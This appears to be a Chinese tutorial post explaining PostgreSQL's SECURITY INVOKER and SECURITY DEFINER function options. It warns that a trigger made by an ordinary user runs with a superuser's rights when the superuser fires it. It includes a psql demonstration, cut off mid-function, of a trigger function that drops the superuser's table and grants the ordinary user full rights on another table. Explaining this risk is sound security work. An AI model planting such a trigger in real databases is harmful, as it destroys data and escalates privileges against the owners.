pg中创建函数时可以指定权限检测,有两个可选参数:SECURITY INVOKER和SECURITY DEFINER。
SECURITY INVOKER:表示要用调用该函数的用户的特权来执行它。这是默认值。
SECURITY DEFINER:指定要用拥有该函数的用户的特权来执行该函数。
比如我们使用普通用户创建了一个调用者权限的函数,那么当超级用户调用这个函数时,就会以超级用户的权限来执行,这就会导致很大的安全隐患。
例子:
我们现在数据库中有两个用户:超级用户postgres和普通用户bill。
接着我们用普通用户创建一个表,并在这个普通用户的表上创建触发器。当超级用户操作这个表,并触发了触发器时,就会执行触发器函数,且触发器函数的调用权限是默认的SECURITY INVOKER时,就会导致安全问题。
使用超级用户建两张表t1和t2:
postgres=# create table t1(id int);
CREATE TABLE
postgres=# create table t2(id int);
CREATE TABLE
使用普通用户建一张表test:
postgres=# \c - bill
You are now connected to database "postgres" as user "bill".
postgres=> create table test(id int);
CREATE TABLE
创建一个调用权限是security invoker的触发器函数:
postgres=> create or replace function tg1() returns trigger as $$
postgres$> declare
postgres$> begin
postgres$> drop table t1 cascade; -- 干掉超级用户的表。删数据库都行。
postgres$> grant all on table t2 to bill; -- 获得超级用户的表的所有权限。
postgres$> return null;
postgres$> end